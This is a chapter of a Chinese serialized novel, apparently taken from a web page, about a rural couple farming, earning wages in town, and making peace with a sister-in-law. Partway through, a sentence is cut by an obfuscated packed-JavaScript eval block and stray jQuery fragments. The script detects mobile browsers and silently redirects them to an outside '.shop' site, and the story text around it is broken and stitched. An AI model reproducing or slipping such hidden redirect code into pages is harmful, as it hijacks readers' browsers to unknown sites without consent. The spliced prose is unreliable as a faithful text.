正月一过,地里的活就来了。梁家的地不多,一共六亩都在刘桂兰名下,因为梁德茂属于城市户口名下没有地。梁述分到了二亩多在村北。土质不算好,一亩种的苹果树,另一亩去年中的玉米。梁诚分到的地跟他差不多,分的时候刘桂兰就说:“都是儿子公平起见都分两亩地。”
梁述在家收拾农具,该磨的磨,该修的修。锄头有些卷刃,他蹲在院子里的石头上磨了半天,最后拿手试了试。沈彦看见她在磨锄头,蹲在旁边看了看,“磨得不错。”
正月二十,梁述开始下地,他们先把地翻了一遍,沈彦跟着一起干。两个人在地里干了一天,中午来不及回来,还带了两块干粮和一壶水坐在地头吃。
今天风有点大,沈彦把围巾往上拉了拉遮住半张脸,主要是梁述在翻地,沈彦蹲在地里捡石头——坡地石头多,不捡干净没法种。她捡了一上午,手指冻得通红像萝卜一样,手上都是泥巴。
梁述在前面翻地,回头看了她一眼。“你回去歇着,这些我等会干。”
“两个人干快一点。”沈彦没停,把一块拳头大的石头扔到地头。
梁述没再劝,经过这段时间的相处,他发现沈彦的想法都很坚定。他加快速度继续翻地,每一锄都挖得深,土块翻过来用锄背敲碎,再耙平,干得非常仔细。他想着赶紧弄完和沈彦一起捡石头,这样沈彦也能少干点活。
干了三天,地终于翻完了。梁述在地头点了一堆火,把地里的秸秆和杂草烧了,灰烬拌进土里当肥。沈彦站在火堆旁边烤手,火光照着她的脸,长脸上的大眼睛映着火光,亮闪闪的。
梁述看了她一眼。“你脸上有灰。”沈彦用手背蹭了一下脸,蹭完发现手背上的灰比脸上的还多。梁述伸手在她颧骨上抹了一下,指腹粗粝,蹭得有点疼。火堆噼里啪啦地响,火星子被风吹散。
等火烧完,梁述转身去收拾工具,沈彦跟在他后面,他捡起地上的铁锨,扛在肩上。两个人一前一后走在地头的土路上,影子被夕阳拉得老长,一高一矮,看上去很和谐。
弄完地里的活,梁述来到镇上赵老大家里坐了一下午。他在县城接了一个活,县供销社要翻新仓库,需要人手刷墙铺地。赵老大接了,跟梁述说:“你来不?一天三块干一个月。”
梁述想了想,“一个人?”赵老大说:“我再找两个小工,你带着干。”梁述答应下来,没还价,毕竟他现在算小工价钱也就不高。三块钱一天,在农村算不错的工钱。
找下活后,梁述回来跟沈彦说了,沈彦正在灶房里切土豆丝。刀落得快,土豆丝细而匀,码在案板上。
“三块一天?”沈彦手上的刀没停,算了算:“那你一个月能赚九十块,除去下雨停工,大概七八十,这收入可以了。”沈彦把切好的土豆丝拨进盆里,添了水泡着。“那你专心干活,地里我一个人能行。”
梁述站在灶房门口,看着她的背影。她系着围裙,袖子卷到手肘,露出手腕上一截白。梁述的目光在她手腕上停了一下——什么都没有,光溜溜的。
“开春种玉米,你一个人忙不过来。”梁述看着她,“我干完县里的活,回来帮你。”
“行。”沈彦把湿手在围裙上擦了擦,从灶台上面的碗柜里拿出一个碗,倒了一碗水递给他。梁述接过来喝了两口,把碗放在灶台上。
“大哥大嫂去哪里了?”梁述好奇地问。“大哥去地里干活了,大嫂好像娘家有事,回娘家了。”沈彦回答。
梁述没再问。张香玲回娘家回得勤,隔十天半月就要回去一趟,每次回去都要带点东西,鸡蛋,豆腐啥的。
时间过得很快,梁述去县城干活了。他们村离县城不远,骑自行车得一个多小时。梁述早上五点多就起了,沈彦给他蒸了四个馒头,用纸包好,塞进他军绿色的帆布包里。
沈彦一个人在家,把东屋收拾了一遍,把灶房擦擦,院子扫扫。张香玲从西屋出来,端着一盆衣服去井边洗,路过沈彦身边笑了一下:“弟妹,梁述去县城了?”沈彦笑着说:“嗯对,他去县城了。”
“那他一天能挣多少钱?”张香玲眼里闪着好奇的光,她往前凑了凑,声音压得低却透着股急切,显然想知道答案:“那他一天能挣多少钱?我听说工地上的活儿累得要命,总该多给点吧?”
“没多少。”沈彦的声音淡淡的。然后她顿了顿,像是怕她不信,又补充了一句:“勉强够糊口,跟种地差不多。”
“噢,这样啊。”张香玲的笑容没变,蹲到井台边开始搓衣服。沈彦看了她一眼,回屋拿了针线筐,坐在堂屋门口做针线。她准备给梁述缝一件新衬衫,年前赶集买的布一直没做。
张香玲搓着衣服,又开口道:“弟妹,你那个缝纫机,能不能借我用用?”沈彦手里的针顿了一下说:“可以啊,大嫂。”
“那谢谢了,我想给梁诚做条裤子手缝太慢。有了缝纫机应该做的快,没想到弟妹你这么大方。”张香玲说。“一台机器,有啥不让的。”沈彦头都没抬,“你用完了给我搬回来就行。”
张香玲愣了两秒钟,低下头继续搓衣服。“那行,下午我搬过来用。”
下午张香玲来搬缝纫机,沈彦帮她把机器抬到西屋门口,张香踩了几下踏板,针头嗒嗒嗒地响起来,比她手缝快多了。她踩了几圈,露出笑容说:“好使。”
沈彦看着张香玲踩缝纫机的样子:低着头,专注地盯着针头,手指推着布块往前走,跟平时都有些不一样了。
“嫂子,你以前用过缝纫机?”沈彦问。“在娘家用过,不过我家那台比较老,不太好用。”张香玲头都没抬,“你这个好使,我家那台比不了。”
嗒嗒嗒的声音在院子里响着,沈彦转身回了东屋。晚上的时候,张香玲把缝纫机搬回来,放在原来的位置。她还带了一双鞋垫,红布面的上面绣了几朵花,针脚不算细,但看得出是用心了。
“弟妹,这个给你。我自己绣的,不太好,你别嫌弃。”沈彦接过来,鞋垫上的花是梅花,粉红色的瓣儿,黄色的花蕊。
“嫂子,你自己留着穿。”沈彦不好意思要,“我有,这个给你。”两人谦让了几下,沈彦最后把鞋垫收下,放在柜子里。
梁述在县城干了半个月活,终于能歇一天。沈彦给他炒了一盘鸡蛋,切了一碟腌萝卜。梁述吃完,从帆布包里掏出一沓钱放在桌上。
“赵老大结的,上半个月的。”沈彦拿起来数了数。四十五块,都是五块的票子。“你留着。”梁述说。
沈彦把钱折好,塞进柜子里的布包。她数了一下布包里的钱——一千块的彩礼加上梁述之前给的,算上今天的和花的钱,还有一千四百多。
梁述给完钱后,又站起来到院子里劈柴。他劈柴的力气大,一斧子下去,木柴裂成两半蹦出去老远。沈彦站在灶房门口看着他劈柴,想起相亲那天他在沈家扫院子的样子。一样的人,一样的闷头干活,不一样的是她现在不觉得他烦了。
二月下旬,梁述又去县城干活了。沈彦一个人在地里种玉米。她一个人干得慢,别人家都是两口子一起干,她一个人刨坑、撒种、覆土,一行一行地往前挪。地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632810|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头到地尾一百多步,一个来回种两行,种了三天才种完。
张香玲那几天也在自家地里忙,路过沈彦的地头,停下来看了一会儿。“弟妹,你一个人种?梁述呢?”“他在县城干活。”沈彦说。”
张香玲站了一会儿,没说话。她扛着锄头继续往前走,走了十几步又折回来,把锄头往地上一插,蹲下来帮沈彦撒种子,沈彦抬起头看了她一眼。
“闲着也是闲着。”张香玲低着头,把玉米种子一颗一颗按进土坑里,“两个人干快一点。”沈彦感谢地看向她,“别看了你赶紧继续刨坑。”两个女人一前一后在地里忙了一下午,太阳落山的时候,最后一行玉米种完了。
沈彦站直身子,腰酸得直不起来,拿手背捶了捶后腰。张香玲也站直了,把锄头扛在肩上。“走,回去做饭。”
两个人一前一后走在回家的路上,影子拖在地上,又长又细。沈彦看着前面张香玲的背影,想起她帮忙撒种子的样子,蹲在地里,膝盖上全是土,手上也是。
“嫂子。”沈彦叫了一声。张香玲没回头。“嗯。”“谢谢你。”张香玲的脚步没停,肩膀动了一下,像耸肩又不像。“谢啥,不就帮你撒几颗种子。”
沈彦没再说什么。她快走了两步,跟张香玲并排走在了一起。两个人都没说话,但脚步是一个节奏。
二月二十八,梁述从县城回来了。赵老大那边的活干完了,结了账又挣了四十块钱。他把钱交给沈彦,坐在炕沿上喝水。
“地种完了?”他问。“种完了,大嫂还帮了一天。”梁述端着粗瓷大碗的手猛地顿了一下,眉头微微蹙起,语气里带着几分不易察觉的惊讶:“她帮你?”
话音里藏着点疑惑,大嫂素日里总说地里的活累,心里却忍不住琢磨:是大嫂转了性子,还是有别的缘故?
沈彦没察觉他的异样,应了声:“嗯,说是看我一个人忙不过来,过来搭了把手,下午我们就回去了。大嫂种子撒得比我还好。”沈彦把钱放进柜子里的布包,转过身看着梁述,“你大嫂那个人,就是嘴上爱计较,心不坏。”
沈彦坐到他对面,把手放在桌上。“她借缝纫机,还给我双鞋垫。我发现熟了之后大嫂还是挺好的。梁述把碗放下,看着她。“你不怪她上次想进你屋子的事了?”沈彦沉默了几秒。“这就一次,如果还有下次,那我肯定不会和她熟稔起来。”
梁述点了点头。
窗外天快黑了,老槐树的枝丫在暮色里只剩轮廓。沈彦站起来去灶房做饭,梁述跟在她身后,端着一盆水去浇院子里的菜地——沈彦在墙根开了巴掌大一块地,种了几棵小葱,刚冒芽,嫩绿嫩绿的。
梁述蹲在墙根,看着那几棵葱芽,伸手摸了摸叶子。沈彦从灶房探出头来。“别摸,摸死了。”梁述把手缩回去,站起来,拍拍膝盖上的土。“死不了。”沈彦没理他,缩回头继续切菜。
梁述站在院子里,看着灶房里透出的灯光,听着菜刀落在案板上的声音,他站了一会儿,转身去灶房门口把柴火码齐了,又去井台边提了一桶水倒进水缸。
水缸满了,灶房里飘出葱花炝锅的香味。梁述吸了吸鼻子,站在灶房门口没进去。“沈彦。”他叫了一声,“你下次也尝尝我的手艺。”灶房里安静了一瞬。菜刀落案板的声音停了,“那我可等着了!”然后切菜声又响了,比刚才快一点。梁述站在灶房门口,嘴角弯了一下。
月亮从东边升起来了,挂在老槐树光秃秃的枝丫上面,又大又白。灶房里的灯亮着,烟囱冒着白烟,院子里弥漫着炒菜的香味。